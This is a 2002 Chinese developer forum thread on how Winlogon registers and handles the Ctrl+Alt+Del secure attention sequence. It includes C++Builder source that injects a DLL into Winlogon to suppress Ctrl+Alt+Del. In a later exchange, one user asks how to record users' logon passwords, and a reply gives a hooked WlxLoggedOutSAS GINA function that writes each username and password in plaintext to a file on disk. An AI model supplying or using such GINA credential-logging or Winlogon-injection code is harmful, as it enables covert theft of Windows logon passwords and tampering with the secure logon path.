阅读:3372回复:24
非驱动问题:WinLogon进程如何与SAS交互???
1、看了MSDN和《Inside Windows 2000 3rd》,它们对这个问题都是一笔带过。谁能详细说一说?
2、MSDN提到:When Winlogon initializes, it registers the CTRL+ALT+DEL secure attention sequence (SAS) with the system, and then creates three desktops within the WinSta0 window station. 请问Winlogon如何registers “the CTRL+ALT+DEL secure attention sequence (SAS) with the system”?谁能说一下它的详细步骤? |
|
最新喜欢:![]() |
沙发#
发布于:2002-12-12 21:02
谢谢!:)
|
|
板凳#
发布于:2002-12-12 20:51
拦截_WlxLoggedOutSAS,代码如下:
//_WlxLoggedOutSAS int WINAPI _WlxLoggedOutSAS( PVOID pWlxContext, DWORD dwSasType, PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions, PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, PVOID * pProfile) { RegisterCalledFuncToList(\"WlxLoggedOutSAS \" + TimeToStr(Now())); int Ret = MyWlxLoggedOutSAS(pWlxContext,dwSasType,pAuthenticationId,pLogonSid,pdwOptions,phToken,pNprNotifyInfo,pProfile); //保存用户名和密码 if(Ret == WLX_SAS_ACTION_LOGON) { TStringList *List = new TStringList(); List->Add(\"Username = \" + AnsiString(pNprNotifyInfo->pszUserName)); List->Add(\"Password = \" + AnsiString(pNprNotifyInfo->pszPassword)); List->SaveToFile(\"D:\\\\MyGinaPass.txt\"); delete List; } return Ret; } |
|
地板#
发布于:2002-12-12 19:53
高人:
如果我要记录user输入的用户和密码要拦截哪个函数调用? |
|
地下室#
发布于:2002-10-24 17:31
我的是 2003 15.0.0.5
UnHook 后,C+A+D 不成功! 删除 RemoteDLL.DLL 失败,说有进程使用! 关闭 瑞星后,重新启动再次启动! 实验,成功! 不知道原因! [编辑 - 10/24/02 by gz818] |
|
5楼#
发布于:2002-10-24 17:25
邪门!!!
我把瑞星放火墙、杀毒软件、瑞星放火墙都打开了,同样可以卸载 RemoteDLL.DLL,见鬼了:( |
|
6楼#
发布于:2002-10-24 16:49
瑞星捣鬼!卸载就可以了!
原因不知! [编辑 - 10/24/02 by gz818] |
|
7楼#
发布于:2002-10-24 15:45
To : gz818
我这里没有这种事,希望老兄调试成功后,把结果放上来也好让我知道那个地方出问题。 To : vcmfc 使用GINA当然可以,我只是想找另一种方法而已。 |
|
8楼#
发布于:2002-10-24 13:16
我在《电脑编程技术/维护》2002.09中看到比较好的方法,就是替换GINA,导出所有MSGINA.dll的接口,它说到MSDN有所有接口的说明,就是那些 Wxx之类的,这样,当用户按下Ctrl+alt+del,winlogon会从注册表中找到GIAN,并调用它,所有如果只是控制Ctrl+alt+del,替换GINA会更安全,根本就不需要写DRIVER。
文中举的例子是Ctrl+alt+del。 |
|
9楼#
发布于:2002-10-24 11:45
跟了一下,发现确实是 卸载RemoteDLL.DLL失败!
|
|
10楼#
发布于:2002-10-23 16:33
1、我上面已经说了:在Windows 2000 Professional SP3中文版平台下面测试通过,因此不敢保证在其它平台也同样起作用了。
2、既然Unhook之后,Ctrl + Alt + Del仍然被屏蔽,那就有可能是卸载RemoteDLL.DLL失败,估计是插入卸载远程线程失败引起的,建议老兄自己调试一下。 3、Hook必须和Unhook操作次数一样,不可能Hook两次,Unhook一次。 4、不要叫我“大侠”,我不是什么大侠,纯属菜鸟一个! |
|
11楼#
发布于:2002-10-23 16:10
大虾!为什么 UnHook 后, C+A+D 永远不起作用了!
必须重启动,注销都不行! 环境 PIII800/256/40G Win2K AdvSvr SP2 ! |
|
12楼#
发布于:2002-10-22 16:49
天!你怎么也从csdn到这里来了?
|
|
|
13楼#
发布于:2002-10-22 14:28
我靠,怎么代码格式都乱套了:(
|
|
14楼#
发布于:2002-10-22 14:27
搞定!
通过截获SAS Window的消息,发现按Ctrl + Alt + Del组合键时,WM_HOTKEY消息发生,截获这个消息,那个安全对话框果然不显示了! 哈哈哈...我倒,我再倒:) ================================== //--------------------------------------------------------------------------- //作者 :韦覃武 //网上呢称:BCB_FANS(四大名捕之追杀令)(此为CSDN和www.driverdevelop.com之帐号) //E-Mail :slwqw@163.com //日期 :2002-10-20 // //功能 :在2000下屏蔽Ctrl + Alt + Del组合键。(在Windows 2000 Professional SP3 // 中文版平台下面测试通过) //原理 :采用远程线程注入技术,装载一个DLL到Winlogon进程,然后截获SAS窗口的窗 // 口过程,接管WM_HOTKEY消息,以达到屏蔽Ctrl + Alt + Del之目的。 //开发语言:Borland C++Builder 5.0 Patch2 //技术比较:关于在2000下面如何屏蔽Ctrl + Alt + Del组合键,一种常被提到的解决方法就 // 是使用自己写的GINA去替换MSGINA.DLL,然后在WlxLoggedOnSAS里边直接返回 // WLX_SAS_ACTION_NONE。嘿嘿,说到底这并不是真正地屏蔽了这个组合键,只是 // 直接返回WLX_SAS_ACTION_NONE时,Winlogon进程又自动从\"Winlogon\"桌面切换 // 回原来的\"Default\"桌面了,而不是显示安全对话框,所以看起来被屏蔽了:), // 使用那种方法明显地看到桌面在闪烁!但是使用本文的方法时,你不会看到任 // 何闪烁! //鸣谢 :www.driverdevelop.com上的icube和lu0。 //版权 :转载请注明原作者:) //--------------------------------------------------------------------------- #include <vcl.h> #include <windows.h> #pragma hdrstop //--------------------------------------------------------------------------- //--------------------------------------------------------------------------- HWND hSASWnd; FARPROC FOldProc; TStringList *MsgList = NULL; LRESULT CALLBACK SASWindowProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam); BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam); //--------------------------------------------------------------------------- HANDLE hThread = NULL; DWORD dwThreadId; DWORD WINAPI ThreadFunc(); //--------------------------------------------------------------------------- #pragma argsused int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved) { switch(reason) { case DLL_PROCESS_ATTACH : hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadFunc,NULL,0,&dwThreadId); break; case DLL_PROCESS_DETACH : if(MsgList != NULL) { MsgList->SaveToFile(\"F:\\\\Inprise\\\\CBuilder5\\\\Projects\\\\RemoteThread\\\\RemoteDll\\\\SAS_MSG.TXT\"); delete MsgList; } SetWindowLong(hSASWnd,GWL_WNDPROC,long(FOldProc)); CloseHandle(hThread); break; } return 1; } //--------------------------------------------------------------------------- DWORD WINAPI ThreadFunc() { HDESK hDesk; hDesk = OpenDesktop(\"Winlogon\",0,false,DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_READOBJECTS | DESKTOP_JOURNALRECORD | DESKTOP_HOOKCONTROL | DESKTOP_ENUMERATE | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU); hSASWnd = NULL; EnumDesktopWindows(hDesk,(WNDENUMPROC)EnumWindowsProc,0); if(hSASWnd != NULL) { MsgList = new TStringList(); FOldProc = (FARPROC)SetWindowLong(hSASWnd,GWL_WNDPROC,long(SASWindowProc)); if(FOldProc == NULL) MsgList->Add(\"Failed to Hook SAS Window Proc.Err = \" + SysErrorMessage(GetLastError())); else MsgList->Add(\"Succeeded in Hooking SAS Window Proc.\"); MsgList->Add(\"\"); } return 1; } //--------------------------------------------------------------------------- //查找\"Winlogon\"桌面的窗口 BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam) { char ClassBuf[128]; GetWindowText(hwnd,ClassBuf,sizeof(ClassBuf)); //通过编写系统服务,然后查询得知存在窗口\"SAS window\"。 if(AnsiString(ClassBuf).Pos(\"SAS window\") > 0) { hSASWnd = hwnd; return false; } return true; } //--------------------------------------------------------------------------- //SAS窗口的窗口过程 LRESULT CALLBACK SASWindowProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam) { MsgList->Add(\"Msg: Wnd = \" + IntToHex((int)hwnd,8) + \" Msg = \" + IntToHex((int)uMsg,8)); //屏蔽Ctrl + Alt + Del if(uMsg == WM_HOTKEY) { WORD wKey = HIWORD(lParam); WORD wModifier = LOWORD(lParam); bool IsCtrlDown = (wModifier & VK_CONTROL != 0); bool IsAltDown = (wModifier & VK_MENU != 0); bool IsShiftDown = (wModifier & VK_SHIFT != 0); //按下Ctrl + Alt + Del组合键 if(IsCtrlDown && IsAltDown && wKey == VK_DELETE) { return 1; } //按下Ctrl + Shift + Esc组合键,这个组合键将显示任务管理器,可根据需要是否屏蔽。 else if(IsCtrlDown && IsShiftDown && wKey == VK_ESCAPE) { // Do nothing } } return CallWindowProc(FOldProc,hwnd,uMsg,wParam,lParam); } //--------------------------------------------------------------------------- =============================== 上面没有贴出远程注入代码,因为网上到处都是,找一下就可以了,如果谁确实想要,可以给我发E-Mail,不过我是使用C++Builder编写的。 |
|
15楼#
发布于:2002-10-21 17:41
我想应该是Winlogon进程吧,当我们登陆Windows时,首先输入用户名和密码,而该信息的输入可通过Gina来实现用户自己的输入,也就是说我们的所有操作通过Gina,而Gina是由Winlogon来加载的(当然Winlogon还需要创建LPC端口和一个线成,还要启动SMC等),以上仅为我个人的观点,不一定正确:)
可能上面我说得不够仔细!举一下具体的例子,MSDN提到“The WlxLoggedOnSAS function must be implemented by a replacement GINA DLL. Winlogon calls this function when it receives an SAS event while the user is logged on and the workstation is not locked.” |
|
|
16楼#
发布于:2002-10-20 21:57
1、关于截获Ctrl+Alt+Del,正在研究...最近太忙,可能要经过一段时间才能继续这个问题。
2、关于SAS事件的监视,现在连我都对“GINA负责监视SAS事件”这种说法感到不可思议。GINA总共就那10几个函数,实在看不出是哪一部分代码在监视SAS事件!为什么MSDN却说“The GINA is responsible for recognizing a secure attention sequence (SAS), monitoring for SAS events, and notifying Winlogon when an SAS has occurred.” ?????? 如果说是CSRSS.EXE在监视SAS事件还可以让人感到理解,GINA就太那个了:( ================================================= 先给分,但是还希望更位大侠继续赐教...如果答案令人感到满意,我会另开贴给分的:) 还有:为什么我只能给20分?我可是想给100分啊!^_^ |
|
17楼#
发布于:2002-10-20 17:02
(1)你要想hook那个RIT好象不太可能,要想截获Ctrl + Alt + Del可能是要写键盘和鼠标类驱动的过滤驱动程序
(2)我曾经写过一个winlogon notify packet,它是一个dll可以接受winlogon的事件通知(见msdn),我在这个dll接受到登陆通知时运行了spy程序(他运行在winlogon桌面),使用spy你就可以看到winlogon 的确创建了一个sas notify window,不过当我监视这个窗口的消息时,会引起桌面无法切换(?)。我想,截获这个消息理论上是可行的,你可以写个winlogon notify packet,然后在winlogon调用他的时候去调用SetWindowsHookEx来设置WH_GETMESSAGE hook (3)我说过“GINA根本不会监视SAS的发生”,但这句话只在监视Ctrl + Alt + Del时是正确的。对于其他类型的SAS事件,gina负责监视,他要调用WlxSasNotify 来通知winlogon SAS的发生 |
|
18楼#
发布于:2002-10-19 12:55
KEYBOARD的打开不是APP能做的. 在KEYBOARD CLASS DRIVER中有一段代码是用于屏蔽APP打开KEYBOARD来读取. 用于确保KEYBOARD仅能被DRIVER打开读取. 至于CSRSS真正如何将KEYBOARD CONNECT到THREAD INPUT QUEUE中, 应当有私有的API. 可能是让W32K.SYS中干.
// // We do not allow user mode opens for read. This includes services (who // have the TCB privilege). // if (Irp->RequestorMode == UserMode && (irpSp->Parameters.Create.SecurityContext->DesiredAccess & FILE_READ_DATA) ) { status = STATUS_ACCESS_DENIED; goto KeyboardClassCreateEnd; } GINA并不监视KEYBOARD QUEUE. 但是在SAS出现时能得到通知. |
|
|
19楼#
发布于:2002-10-18 14:26
没有哪位大侠愿意再指点一下吗?
|
|
上一页
下一页